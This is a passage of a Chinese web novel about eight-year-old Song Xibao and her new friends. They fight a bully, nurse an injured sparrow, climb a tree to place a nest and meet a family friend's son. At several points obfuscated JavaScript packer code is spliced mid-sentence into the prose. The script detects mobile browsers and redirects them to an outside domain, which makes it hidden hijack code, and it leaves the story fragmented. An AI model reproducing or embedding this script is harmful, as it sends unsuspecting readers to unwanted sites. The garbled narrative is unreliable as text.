宋西宝满不在乎道：“也不为什么，就是他们欺负我爸妈不在身边，老背后嘀咕我，有一次被我逮到了，我就跟他们打架了。” “哦哦。”方思彤点点头，又抬起她胳膊看了眼，说，“你以后还是不要跟蒋博光他们打架了。” 宋西宝听她这么说，不满地抽回胳膊道：“你有没有良心？我是为了谁才打架的？” 方思彤听她这么说，立刻狗腿地露出笑容道：“为了我嘿嘿，那我请你吃冰淇淋吧老大！” 宋西宝哼一声：“这还差不多！” 为了回报宋西宝，方思彤说要给她做个好玩的。 两人吃午饭前相约下午两点在大梧桐树下见面。 到了下午，方思彤献宝似的从书包里拿出了一堆东西。 宋西宝翻着看了下，发现有旧电池、废纸壳、几张报纸、半盒小灯泡还有一堆不知道是什么的金属线。 宋西宝问：“这啥啊？” 方思彤说：“等我做好了你就知道了。” 十分钟后，宋西宝神奇地发现这堆破烂在方思彤手里变成了一个接触式手电筒！ 手电筒很细，小灯泡往下一压，接触到电池就会亮。 “你怎么弄的？”宋西宝直呼神奇，一个劲儿地央着方思彤教她做。 方思彤有点不好意思，说自己是跟着书上学的。 两人正跟那儿玩得起劲呢，忽然宋西宝察觉到有点不对劲。 她眼睛定定地看着前方某处问方思彤：“你有没有觉得咱俩背后好像有人？” 方思彤手上动作也停下了，附和道：“好像是。” 两人说完下一秒齐齐转头，周笃文没防备她俩会突然转过来，受惊地往后趔趄了两步。 三人面面相觑。 宋西宝左右看看，没看见蒋博光的身影，她语气不善道：“你又想干嘛？” 周笃文用食指往上推了推眼镜，语气里流露着小心说：“我能跟你们一起玩吗？” 宋西宝和方思彤对视一眼，都觉得奇怪。 周笃文却对她们手上那个自制手电筒流露出了莫大的兴趣，直言自己也想学。 宋西宝盯着他上下来回打量，过了好一会儿才仰着下巴说：“那你得认我当老大！” “老大。”周笃文从善如流地喊了一声。 他这一声倒把宋西宝给整不会了，但话都放出去了，宋西宝也不好做赖账的人，于是只好捏着鼻子认下他，说：“行吧，你先排队，等我学会了她再教你。” 周笃文：“好！” 三个小孩子守在大梧桐树下的石桌上玩了一下午自制手电筒，宋西宝还约他俩晚上一起去探险，就用他们自己做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蒋博光烧蚁窝的时候正好被方思彤抓到，当时方思彤为了阻止他还被他推了个趔趄，眼镜也在争执中被蒋博光失手打掉歪了一边镜腿。 宋西宝得知这事后，一怒之下连干了三碗米饭，把她妈谭淑媛都给吓着了。 怕她吃太多积食，谭淑媛最后直接把碗都给没收了，说什么也不让她再吃了。 意犹未尽的宋西宝吃完午饭后找到周笃文让他带话给蒋博光，说自己约他下午两点半在大梧桐树下决战！ 谁要不敢来谁就是孬种！ 周笃文立正站好给她敬礼，一脸严肃道：“保证完成任务！” 下午两点半，蒋博光先到了。 宋西宝在方思彤的陪伴下奔赴战场，到了地方后她一看蒋博光那身打扮就没忍住笑了。 是不屑的笑。 也是轻视的笑。 原来蒋博光为了不怕挨打，不光戴上了头盔，还戴上了滑旱冰用的成套的护膝和护腕。 他能屈能伸，一点也不怕这样会有损自己小男子汉的威严。 方思彤拽住宋西宝，说：“老大，要不算了吧，咱们不跟他打了。” 宋西宝撇开她，不悦道：“算什么算？俺可不是孬种！” 先锋村村长家的儿媳妇是河南人，宋西宝觉得人家说河南话有意思，没少跟着学，有时不经意地就会冒出来一两句。 周笃文现在自认是宋西宝她们这边的，因此也上来劝，说：“老大，要不你也整一套盔甲吧？我家里有，我去给你拿！” 宋西宝摆手表示不用，她就是要赤手空拳把蒋博光打倒在地！一直打到他服气为止！ 蒋博光原本就有点欺软怕硬，他有胆子招惹方思彤烧蚂蚁窝，却没胆子在宋西宝步步逼近时控制住自己的双腿不要往后退。 宋西宝一看他想跑，更是气势十足，撒丫子就追了上去！ 4. 爬树 两人一下抱摔扭打在一起，方思彤着急地给宋西宝喊加油，旁边周笃文警惕地观察着四周，随时准备在大人出现的时候叫停两人。 蒋博光原以为戴了头盔和护具挨打就不会那么疼了，但宋西宝又是揪又是掐的，全对着他身上没有护具保护的地方。 他都不知道宋西宝一个女孩哪儿来的那么大力气？他拼了命都推不开她！ 蒋博光又被打哭了。 他这次被打哭得比上次还惨。 几乎是撕心裂肺，嚎啕大哭，就好像天底下的委屈都叫他一个人受了似的。 宋西宝其实也负伤不少，她胳膊都被蒋博光抓出血印来了！ 蒋博光这哭法成功震住了宋西宝。 她犹犹豫豫松开蒋博光从地上爬起来，回头看一眼同样懵圈的周笃文和方思彤，三人面面相觑，最后宋西宝使劲把蒋博光从地上给拽了起来，说：“你怎么这么爱哭？爱哭鬼！” 蒋博光头盔都被打歪了，满脸泥混着眼泪，要多狼狈有多狼狈，甚至左边鼻子还流了点血出来，他边抽抽边说：“你打我……还，还不让我哭、哭了？” 宋西宝看他怂的那样，愣是没忍住笑出了声。 周笃文和方思彤听见也没忍住笑了。 蒋博光憨憨的，抬手抹了把鼻涕，结果发现是鼻血，嘴一咧正准备嚎，结果被宋西宝一句“不准哭！”吓得哭腔都涌到嘴边了又收了回去。 眼下这局面要如何收场呢？ 宋西宝还没想好，这时，突然斜里闯进来一个女孩子，双手捧着个纸盒大喊着就朝他们跑了过来。 “思彤！”女孩径直跑到方思彤面前，不顾周围其他人的打量，神色焦急道，“你能想办法救救这只小鸟吗？” 小鸟？ 几个孩子齐凑了过去看热闹。 原来那纸盒里装的是只小麻雀，好像翅膀受了点伤，正奄奄一息地躺在那儿动也不动。 方思彤伸出手指碰了碰麻雀，一动不动，但还有体温，没死。 旁边急得快哭出来的女孩说：“这只小麻雀今天下午突然闯进我家，我外婆看它飞不起来了，就用扫把把它打落了说要拔了它的毛炖汤！我是偷偷把它带出来的，它翅膀好像受伤了，思彤你能救它吗？” 方思彤用手推了下歪掉的眼镜，秀气的一双眉往眉心拧了起来，说：“我不知道，只能试试，我先回家去取点东西。” 她说完就跑，独留下女孩一人面对剩下几人。 宋西宝好奇地盯着女孩打量。 墙头草周笃文见了，充分发挥自己的机灵劲，主动凑到宋西宝耳边为她答疑解惑道：“老大，她叫季苒，也是梧桐一小的，跟方思彤和我是一个班的。” 在宋西宝看来，季苒跟方思彤又有不同。 方思彤虽然瘦弱，但并不生怯。 而季苒，宋西宝一见着她就想起了她表姑家的那个小女孩，怯生生的，就好像一朵沾不得风雨的娇花。 但她一直很喜欢她的小表妹。 于是宋西宝主动伸出手跟季苒打招呼道：“你好，我叫宋西宝。” 季苒看她灰头土脸的，再看旁边还在抽鼻子的蒋博光，大概明白发生什么事了。 她有点惊讶，更多是局促。 季苒小心翼翼腾出一只手握上她的，也说了句你好。 方思彤快去快回，回来的时候又抱着她那个旧书包。 几人围到石桌边，看她一样样从书包里拿出纱布、棉签、还有不知道是什么的透明药水，剪刀，以及药膏。 宋西宝直呼牛皮，问方思彤：“你还真的会给动物治病啊？” 方思彤神色沉着冷静地拆开一小袋棉签，然后说：“我不会。” 宋西宝啊了一声。 旁边季苒赶忙往回找补道：“但是思彤以前治好过我养的小兔子！” 宋西宝那刚暗下去的眼睛就跟接触成功的手电筒似的，唰一下又亮了。 “这么厉害！你那兔子生什么病了？”她问季苒。 季苒说：“它右后腿被笼子刮伤了。” 宋西宝：“然后呢？” 然后……季苒低头抿着嘴巴不说话了。 旁边周笃文适时附耳道：“然后季苒那兔子就祭了她外婆的五脏庙了。” 宋西宝转头看了眼周笃文——你怎么什么都知道？你江湖百晓生啊？ 几个孩子为了这只受伤的鸟儿忙活了许久，中间蒋博光也默默地加入了进来。 小孩子的恩怨就是这样，来的莫名，去的也莫名。 等方思彤宣告“好了”时，众人不由自主地齐松了口气。 蒋博光这会儿早把打架的事忘一边去了，他好奇地问：“然后怎么办？” 是啊，大家也想问，然后呢？ 方思彤看一眼季苒，季苒都快哭了，说：“我不能再把它带回去了，我外婆说话算数肯定会把它拔了毛拿来炖汤喝的。” 这时，宋西宝站出来说：“这有什么难的！咱们给它做个鸟窝，把它放到树上去让它自己活呗！” 周笃文说：“可是我们不会做鸟窝啊！” 宋西宝啧了一声，说：“做个鸟窝还不简单？我小时候经常……” 她话说一半又硬生生停下了，小伙伴们都好奇地望着她。 宋西宝想说我小时候经常爬树掏鸟蛋，那鸟蛋堆在刚烧完的碳灰下面烘熟了最好吃了！ 但她突然不敢往下说了，季苒这么心疼小动物，她怕把季苒再给吓哭了。 “我小时候经常爬树，看见过很多鸟窝，反正挺简单的，弄点树枝枯草什么的就能做。”宋西宝最后说。 蒋博光听完积极道：“那我们现在就做吧！” 宋西宝瞥了他一眼，蒋博光有点不好意思，又有点可怜地吸了吸鼻子。 宋西宝心里得意够了，终于“大发慈悲”说：“那蒋博光你跟周笃文你们俩去捡树枝吧，要细的小一点的，我回家去拿点胶水碎布什么的。” 蒋博光、周笃文：“嗯！” 方思彤问：“老大，那我干啥？” 季苒听见方思彤叫宋西宝老大表情有点惊讶，因为方思彤在学校基本不怎么跟班上的同学玩，人很……季苒回忆了一下老师说的那个词—— 孤僻。 对，就是孤僻！ 就连季苒自己之所以能跟方思彤说上几句话，那都是因为她曾经在体育课上主动帮助过方思彤。 不过方思彤对季苒态度一直很冷淡，跟对别的同学也没有太大的区别。 宋西宝没注意季苒的神情，她对方思彤说：“你俩就在这儿看小鸟吧，待会儿咱们一起做鸟窝。” 方思彤说了声好。 季苒也跟着怯怯地说了声好。 等他们把鸟窝做好太阳也准备要落山了。 蒋博光问：“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879943|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么放树上去呢？” 宋西宝想了个办法，说：“你们去找个晾衣杆来，把纸盒插进晾衣杆里用胶带固定一下，鸟窝就放纸盒里，然后等我上到那边那个树杈那儿，你们就举着纸盒递给我，我再放鸟窝。” 因为大梧桐树离蒋博光家最近，所以他自告奋勇跑回家去拿了晾衣杆来。 等一切准备妥当，宋西宝往两只手手心里各呸了一声，然后使劲搓了几把。 她前后看看估摸着需要用到的距离，往后退了一截路，再然后一个冲刺就跟猴似的一下就蹬上了树，随即双手双脚扒住树干，老练而迅速地上到了先前指定好的地方。 底下几个小孩哪见过这等功夫？都惊呆了！ 蒋博光仰着脑袋张大嘴巴，这下是真服气了。 一旁的方思彤和周笃文看得神情紧张，生怕她摔下来，季苒更是吓得捂住眼睛又忍不住露出条缝偷看。 宋西宝站在树杈上招手，让底下的伙伴们把纸盒举起递过来。 蒋博光小心翼翼地举起纸盒往树那边走，他稍微有点掌握不好重心，纸盒摇摇晃晃的，紧张得他额上汗都下来了。 三十米开外，刚从老家办完丧事回来的古晓琴拉着儿子程书逸正往家走，突然瞧见了这群半大孩子，等看清那高高的树杈上竟然还站了个孩子时，古晓琴吓得心都提到了嗓子眼，张口便喊：“你们干什么呢！” 听见大人的呵斥声，几个小孩下意识地都有点害怕，宋西宝倒是临危不惧，还能冷静下来指挥蒋博光道：“你再过来点！” “哦！”蒋博光答应一声，双手撑住再往近走了点，随后明显感觉手上一轻——是宋西宝成功拿到鸟窝了！ 古晓琴拉着程书逸越走越急，最后干脆松开他自己小跑起来。 蒋博光转头飞快地看了眼，忍不住催促树上的宋西宝道：“老大你快点！程书逸他妈妈要过来了！” 诶哟！学会叫老大了啊！ 宋西宝笑嘻嘻看了他一眼，又继续往上爬了一段。 她单手爬树，吓得底下几个小孩气都不会喘了。 古晓琴踩着高跟鞋一路小跑来到树下，她急得嘴唇微张，抬头往上看，只能瞧见那孩子的背影。 古晓琴心急地连声喊“孩子”，又让她在树上好好待着先不要乱动。 古晓琴环视四周，慌张地想找副梯子，这时方思彤上前拽了拽她衣服，说：“晓琴阿姨，她没有做坏事，她只是到树上去放鸟窝了。” 古晓琴低头一看，才认出这是方老师家孩子，再一看周围站着的几个孩子，都是熟人家的孩子，一时又急又气，语气难免重了点道：“你们放什么鸟窝！那鸟窝是你们能放的吗！这么高的树，爬上去摔下来脑袋都能砸开花你们知不知道！” 不远处，年幼的程书逸突然停下了脚步。 他抬头好奇地望向院中那棵梧桐树——在那繁茂碧绿的枝叶间，女孩矫健的身影若隐若现。 她似乎完全没把大人的训斥放在心上，手抓着树枝一直在不停地变换位置，直到找到合适的地方。 放好鸟窝后，她探头往树下瞧了瞧。 程书逸猜想她肯定没有觉得害怕，因为他看到她笑了。 橙色晚霞映衬着女孩张扬无畏的笑容，程书逸觉得她简直就像个超大瓦数的灯泡一样晃眼。 下一秒，不顾古晓琴的挥手阻止，宋西宝就跟那猴似的直接一呲溜窜了下来。 5. 妹妹 宋西宝下树的动作把古晓琴吓了个半死。 等她从树上下来后，古晓琴在一群孩子七嘴八舌的解释中终于得知了“爬树事件”的原委。 几个孩子眼巴巴地望着她，尤其是季家那个女孩，害怕得眼圈都红了。 古晓琴叹口气，语气和缓了些，但还是批评他们道：“你们也太胡来了！老师和家长天天跟你们说有什么事记得找大人找大人！你们一个个的，主意也太正了！救治小动物是好事，但是你们不能由着你们自己想法胡来，今天她要从树上掉下来，家里父母找上门，你们谁能担这个责任？” 古晓琴说着说着，越瞧宋西宝那眉眼越眼熟，她忍不住话锋一转，问宋西宝：“你是谁家的孩子？你妈妈叫什么名字？” 宋西宝瞧眼前这阿姨生得美，挨了训也不怄气，大大方方自报家门道：“我是老宋家的孩子，我妈叫谭淑媛！” 古晓琴听了，变脸似的一下咧开嘴笑了，眼神也瞬间变得惊喜起来。 她拉过宋西宝到跟前站着，上下左右仔细瞧了一番，说：“你都长这么大了！” 宋西宝打量她表情，反问：“阿姨你认识我吗？” 古晓琴抿着嘴笑了，自己上次见这孩子还是她满一岁的时候，此时问她，她自然是不知道，但古晓琴还是故意逗她道：“你不知道我是谁？” 宋西宝眼珠子转了两骨碌，琢磨了几秒，说：“你是晓琴阿姨吗？” 古晓琴一下露出惊喜的表情来，说：“你怎么知道？” 宋西宝说：“我妈跟我说了，是晓琴阿姨帮我们找的房子，我妈还说晓琴阿姨一家也住这里，所以我猜你是晓琴阿姨。” “真聪明！”古晓琴看她古灵精怪那样，越看越喜欢。 她以前就想生个女儿，结果事与愿违偏生了个儿子，得知好友谭淑媛生的是女儿时，她可是羡慕坏了。 这会儿已经到了吃晚饭的点，她们说话间，旁边几个孩子就陆陆续续地被家里人叫回去吃饭了。 古晓琴说到这儿，好像才记起来自己儿子似的，转身招呼程书逸过来，对他介绍说：“这是你西宝妹妹，淑媛阿姨家的孩子，记得吗？你俩小时候还在一起玩过呢！” 两个小孩互相瞧着。 程书逸眼里更多是好奇，至于宋西宝嘛……她来来回回打量着眼前的男孩，其实她早就注意到他了，一直纳着闷呢不知道他是何方神圣？原来是晓琴阿姨的儿子！ “程书逸”这个名字她早听说过了，搬来梧桐苑这短短十几天，爸妈在她面前提起这个名字好几次了，说的全是好话，什么聪明乖巧学习好，不调皮不惹事，长得比洋娃娃还乖。 宋西宝先前没见着人的时候还有点不服气，觉得爸妈这夸起别人家孩子也太夸张了，但这会儿见着人了之后吧……宋西宝又觉得，好像还真是他们说的那么回事！ ……长得跟电视广告里那些小演员似的，又白眼睛又大，这要是被她那个小表妹瞧见，铁定一口一个“漂亮哥哥”成天追他屁股后面走！ 宋西宝判定他肯定很受欢迎，瞬间心里危机感就起来了！ 她可是刚收了仨小弟！这老大的位置还没坐稳呢！ 宋西宝决定主动出击！ 她上前一步，大方朝程书逸伸出手道：“你好！” 程书逸看了眼她脏兮兮的手，将右手背到身后，嫌弃道：“你的手好脏。” 宋西宝：“……” 古晓琴：“……” 古晓琴一把拽过程书逸：“小逸！” 程书逸看看妈妈，没明白自己说错了什么。 古晓琴看了眼渐晚的天色，岔开话题对宋西宝说：“西宝，你妈妈怎么还没叫你回去吃饭呀？” 宋西宝按下心中不满，乖乖回话道：“我爸妈这几天回来的晚，这会儿应该还在往回走的路上。” “哦哦。”古晓琴点点头，又说，“那你先跟阿姨回我们家吧？我等下给你妈妈打电话，让她来我们家接你，正好我也见见你妈妈。” 宋西宝本来不太想去，但晓琴阿姨说话太温柔了，她有点不好意思拒绝，于是便点头答应了。 古晓琴一手牵一个往家走，路上，她想起今天的爬树事件，心有余悸地对宋西宝说：“西宝，你以后可不能再干今天这么危险的事了啊！你说你一个女孩子，爬那么高！你不害怕啊？万一掉下来可怎么办？” 宋西宝从小最会见风使舵，她知道晓琴阿姨喜欢自己，因此挨训心里也不害怕，只是低眉顺眼地认错，保证下次再不犯了。 古晓琴摸摸她头，夸了句：“这才是好孩子。” 宋西宝趁机央求：“晓琴阿姨，那今天我爬树这事，你能别跟我爸妈说吗？” 古晓琴笑了声，逗她：“你还知道怕啊？” 宋西宝扭扭捏捏地不说话。 古晓琴说：“行，我不告状，但是你要答应我，真没有下次了啊！” 宋西宝点头嗯了一声。 等到了程家，古晓琴先给俩小孩开了电视，然后又拿出一些零食放在茶几上让他们自己拿了吃，之后便走到一边去给谭淑媛打电话了。 那个年头流行的手机还是翻盖手机，古晓琴打完电话合上手机回到客厅，对宋西宝说：“西宝，你妈妈他们铺子那边有点事耽搁了，我已经跟她说了，你晚上就在我们家吃饭，晚点他们忙完了就来接你啊！” 宋西宝听了这话，心里有点不得劲，不过她还是对古晓琴说了谢谢。 古晓琴走到她面前蹲下揉揉她脑袋，又问：“晚上吃鸡蛋面条可以吗？阿姨外出了几天，冰箱里没有新鲜菜了，就剩几个鸡蛋了。” 古晓琴说完故意做出了一副可怜相，就跟小孩儿撒娇似的，宋西宝还没见过像她这么亲切的长辈，心情一下又恢复了上扬，使劲点头道：“好！” 古晓琴朝她眯眼笑了一下，又问程书逸：“小逸可以吗？” 程书逸也乖乖点头，说了句好。 古晓琴进厨房煮面条了，临进去前还特意多嘱咐了程书逸一句：“小逸，好好跟妹妹玩啊！可不许欺负她啊！” 程书逸乖乖答应了，转眼就见宋西宝盯着他阴恻恻地笑。 程书逸问：“你笑什么？” 宋西宝但笑不语，手撑着沙发慢慢移动到了他身边，然后趁其不备一把抓住他的手，强行给两人来了个握手仪式！ 程书逸小脸扭曲，哼哼唧唧地从她手里挣出来逃开了。 厨房里古晓琴听见动静高声问：“怎么了？” 宋西宝眼神威胁地瞪着程书逸，回了一声：“没事晓琴阿姨，我们玩呢！” 古晓琴哦了一声。 程书逸被她整过一回后就不敢再跟她坐一边了，自己端了个小板凳坐在茶几右侧的位置，神情十分戒备，同时心里对她也越来越好奇。 宋西宝一点不像他在学校里认识的那些女同学。 她说话声音很大，动作豪放，说一句话能变好几个表情；她个子也是他见过的同龄女孩里最高的，甚至比有些男孩还高，长手长脚的，下午他看她站在树上笑，莫名地觉得她有点像动画片里的人物。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879944|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿电视里放的全是新闻联播，宋西宝按了几下遥控器嫌没意思扔沙发上了，她一边转动着嘴里草莓味的阿尔卑斯棒棒糖，一边问程书逸：“喂，你几月生的？” 程书逸第一遍还没听懂，宋西宝看了眼厨房那边，不耐烦道：“问你生日是几月份？” 程书逸说：“3月17号。” 宋西宝不情不愿地撇了撇嘴，嘀咕了句：“行吧。” 程书逸追问：“什么行吧？” 宋西宝不搭理他，干脆跳下沙发，到处乱转了起来。 程家跟她们家差不多大，但是长得却很不一样。 宋西宝形容不出来，反正就是挺好看的，有点像动画片里那种房子，到处摆满花啊草啊，还有水晶一样的珠帘和很多画。 “这里面是什么……”宋西宝边说边进了一间虚掩着的房间，一看吓了一大跳——这屋里书也太多了！不光架子上桌上全是书，书跟涨洪水似的都漫到地上来了！ 这可比她爷爷屋里那书都多！ 之前宋西宝听爸妈说起过，说晓琴阿姨的老公程方舟叔叔也是教书的老师，当时她还问爸妈，程叔叔跟爷爷比谁厉害？ 爸爸说，那当然还是程叔叔更厉害。 怪不得老爸会这么说……能看这么多书，可不厉害吗？ 她心思忽然一下走偏了，想着，这程叔叔当老师也会拿戒尺打学生吗？比爷爷还厉害的人，打起人来不会也很厉害吧？ 她想象了一个极其吓人的壮汉形象，心里一下都有点发毛了，正好这时程书逸走过来叫了她一声，宋西宝原地惊了一下，表情不善地转头瞪了他一眼，说：“你干嘛！” 程书逸没想到她还恶人先告状了，他板着脸，故意摆出一副自以为严肃的表情道：“这里是我爸爸的书房，你不能随便进来。” 宋西宝从鼻孔里哼出一声，压根儿就没拿他当个人物看，她左右望了望，找着墙上开关后索性开了灯好瞧个清楚。 程书逸拿她没办法，只好紧跟着她，一会儿提醒她不要乱动桌上的东西，一会儿提醒她不要乱翻架子上的书。 突然，宋西宝瞧见个好玩的。 她麻溜爬上椅子，抬手就要去拉书桌上面的玻璃柜门，结果被程书逸眼疾手快地拽住了—— 程书逸问：“你干嘛？” 宋西宝下巴一抬，指了下摆放在柜子里第四层架子上的一只木雕小鸟，说：“我想看看那个！” 程书逸皱眉，说：“不行，那个爸爸还没完工，他不喜欢别人乱碰他的东西。” 宋西宝瞧他小气那样，心里一下有点冒火，她从椅子上下来，歪头鼻孔朝天的姿势瞪着程书逸道：“这也不行，那也不行，你怎么这么小气！” 程书逸看出她不高兴了，但他觉得这并不是自己小不小气的问题。 两人僵持了几分钟，谁也没再说话。 最后，还是程书逸退了一步，他说：“妹妹，我们先出去吧，我可以拿我的玩具给你玩，我有很多玩具。” 然而这话落在宋西宝耳朵里就完全变了味了，她觉得程书逸就是看不起她，然后还想跟她炫耀自己有很多玩具！ 宋西宝横眉竖眼，说：“谁稀罕你的破玩具！再敢叫我妹妹我揍你你信不信！” 程书逸没想到她会是这个反应，表情有点懵，但他有自己的坚持，并没有因为她的恐吓就改口。 他说：“妈妈说你比我小，我是该叫你妹妹啊！” 宋西宝：“……” 她真的很想举起拳头，如果这是在别的地方的话。 6. 恩怨 宋卫国和谭淑媛忙完铺子上的事到程家已经是夜里八九点了。 三人一见面，宋卫国就成了那个多余的人。 不过他像是很习惯了，同古晓琴打过招呼便进屋去找两个小家伙了。 古晓琴拉着谭淑媛上上下下地看。 谭淑媛这些年忙着在外面打工，她俩可是有好多年没见着了！ 上次见面她俩也是各有各的急事，匆匆忙忙都没仔细说上几句话就又道别了。 要知道当初在团里，就属她俩关系最好！ 谭淑媛一贯是个眼窝浅的，古晓琴不敢招她哭，只笑着说：“年轻那会儿还没结婚的时候，你说咱俩要一直在一起，老了也住一起，现在可好，目标实现了已经，哈哈哈哈。” 谭淑媛也高兴得很，感叹道：“可不是！我这一想到以后咱姐俩成邻居了，可以天天挨一起了，我这段时间做梦都要笑醒咯！” 古晓琴哈哈大笑，说她太夸张！ 两姐妹说说笑笑终于进了屋，宋西宝瞧见老妈来了，犯困地揉揉眼，从爸爸怀里坐了起来。 旁边程书逸坐在沙发角落里正捧着一本杂志在看，瞧见谭淑媛走过来，他放下书，乖乖叫了声：“淑媛阿姨。” “诶！这孩子，真乖！”谭淑媛摸摸他头，转过去对古晓琴说，“你们家小逸越长越好看了，跟他爸爸长得真像！” 古晓琴听了，撇嘴笑着说：“性格也像他爸！一根筋！” 这时宋卫国问：“诶对了，老程呢？怎么没见着他人呀？” 古晓琴说：“还在老家呢，葬礼结束了还有些琐碎事情没办完，他留那边处理，我跟小逸就先回来了。” 宋卫国点点头，又笑起来，说：“那等老程回来了，咱一起吃个饭！” “行啊！”古晓琴说，“他也耽误不了几天了，学校那边还一堆事呢！” 谭淑媛问：“他现在在那个学校怎么样嘛？” 古晓琴一挥手：“嗐，别提了，新学期他就要被调去海市了，还不知道那边怎么个情况呢……” 大人们谈兴渐浓，宋西宝窝在爸爸怀里伴随着阵阵说笑声逐渐又睡了过去。 临闭眼前，她模模糊糊看见对面的程书逸一直在盯着她瞧。 宋西宝心里混沌的想着：你再瞧，再瞧我给你眼珠子挖出来当摔炮踩咯……她这么想着，然后就彻底睡死了过去。 等她再睁眼，周围环境已经变成了她自己的小卧室。 昏黄的床头灯柔柔地圈出一小块天地，宋西宝眨了眨眼，看见妈妈坐在床边正拿温热的毛巾仔仔细细地给她擦着脸。 她觉得舒服，忍不住往妈妈手上蹭了蹭。 谭淑媛一声轻笑，疼爱地捏了捏她婴儿肥的小圆脸，又给她擦起了手，轻声训道：“你瞧瞧你这手黑的，去挖煤啦？啧啧，指甲盖里都是黑泥！” 宋西宝半梦半醒地傻笑，只觉得有妈妈真好。 她忍不住往妈妈怀里躲了躲，手环抱上妈妈的腰，声音略带委屈道：“妈妈，你们这次回来还走吗？” 谭淑媛被女儿这句话问得心都塌下去一角，她摸摸西宝的小脑袋瓜，柔声道：“不走了，爸妈以后都不走了。” 宋西宝就心满意足地笑了，再度陷入了沉睡。 …… 八月下旬，宋西宝小朋友迎来了自己的八岁生日。 以往她过生日基本都是爷爷奶奶给她过的，流程是生日当天一起床先吃奶奶给她煮的长寿面，奶奶一般还会在面条上给她放两个油煎的荷包蛋。 等吃完面，爷爷会带她进城去玩，顺便取爸妈从深城寄回来的包裹——里面有爸妈提前给她准备的生日礼物，一般是衣服。 除了她的，还有爷爷奶奶的，一般也都是衣服或者药什么的。 最后玩完了，爷爷会带她去买蛋糕，蛋糕当时不能吃，要留到晚上叫上表姑一家人一起吃，晚上爸爸妈妈还会给她打电话。 其实宋西宝不是很爱吃蛋糕，相比甜的，她更喜欢辣的，但她每次都得装作很喜欢吃，因为只有这样，她那个嗜糖如命的爷爷才有机会借着她的由头买蛋糕吃。 出于愧疚和补偿的心理，宋卫国和谭淑媛决定好好给女儿过一个生日。 这天晌午，宋卫国难得回家一家三口坐在一起吃饭。 席间，谭淑媛想着给女儿过生日的事，趁机问起宋西宝这段时间都交到了哪些好朋友？ 上次问她，只听她说跟隔壁楼方老师家那个女儿关系还不错。 宋西宝手里拿着筷子，歪头想了想，说：“方思彤，季苒，蒋博光，周笃文，他们都是我的好朋友。” 宋卫国舔了下筷子抢话道：“那个周笃文我知道，就是给咱们家弄装修那个周老板家的儿子。”他转向谭淑媛，“上次我跟你说过。” “哦……”谭淑媛恍然点点头，又笑了，表扬女儿道，“咱闺女真厉害！一来就交到了这么多好朋友！妈妈必须奖励你吃一个大鸡翅！” 宋西宝忍不住得意道：“他们都可喜欢跟我玩了！蒋博光本来不喜欢跟我玩的，后面也喜欢跟我玩了！” 宋卫国一听，忙问：“这个蒋博光是谁啊？听上去好像是个男孩名字哦！” 谭淑媛说：“就是咱们市场口摆摊卖鞋垫布鞋那个老太太，那个叫什么……刘老太，她孙子。” 宋卫国：“哦哦，那个老太太啊！听说她儿子媳妇儿好像也是在外面打工很少回来是不是？” 谭淑媛嗯了声，说：“干工地的，辛苦。” 宋西宝接话道：“季苒的妈妈也在外面打工。” 谭淑媛对这个名字有点印象，她问：“就是上次到咱们家来找你那个扎马尾的小姑娘是不是？瞧着文文静静的，害羞得很。” 宋西宝说：“对！就是她。” 夫妻俩对视一眼，宋卫国停下筷子清了清嗓子，问：“宝宝，后天就是你生日了，你有没有什么想法啊？” 宋西宝一听，想都不想，立刻积极举手说自己想去游乐园！ “游乐园好说，爸妈明天就带你去玩。还有呢？”宋卫国问，“你想不想在家里办个生日会？把你那些好朋友都叫上来咱们家，爸妈给你们准备好吃的，你们可以一起吃东西一起玩！怎么样？” 宋西宝一听，立刻两眼放光，忙不迭地点头道：“好啊好啊！” “行！”宋卫国当即拍板道，“那爸妈就给你也整一个洋气的生日派对！后天让你好好开心开心！” 宋西宝大叫一声高兴地从座位上弹起来，绕到桌对面抱着她爹就是一大口！ 谭淑媛假装生气地哼了一声，宋西宝立马又跑到妈妈跟前亲了一口响的，然后举手宣布道：“我真是太幸福啦！” 夫妻俩看着这么个活宝女儿一时间都乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还有一次是程书逸买了新的滑板在楼下院子里玩，蒋博光看见了想玩，程书逸不愿意借，蒋博光好说歹说都不行，最后气急了就想硬抢，结果程书逸就跟他打了起来。 当时听到这儿，宋西宝还特地多问了一句最后谁打赢了？ 蒋博光不情不愿地说自己那次是没准备好。宋西宝眼神一言难尽地看着他，有种自己也受到了羞辱的感觉。 蒋博光转头见程书逸过来了，立即飞快地从地上爬了起来，一副同仇敌忾的模样站到了宋西宝身边。 周笃文这会儿气喘匀了，也慢悠悠地站了过去。 场面莫名形成了1v5的局面，对峙的氛围在几个小孩中间蔓延开来。 蒋博光问：“他想干什么？” 周笃文说：“估计是想跟我们一起玩吧？” 方思彤对这一切无感没说话。 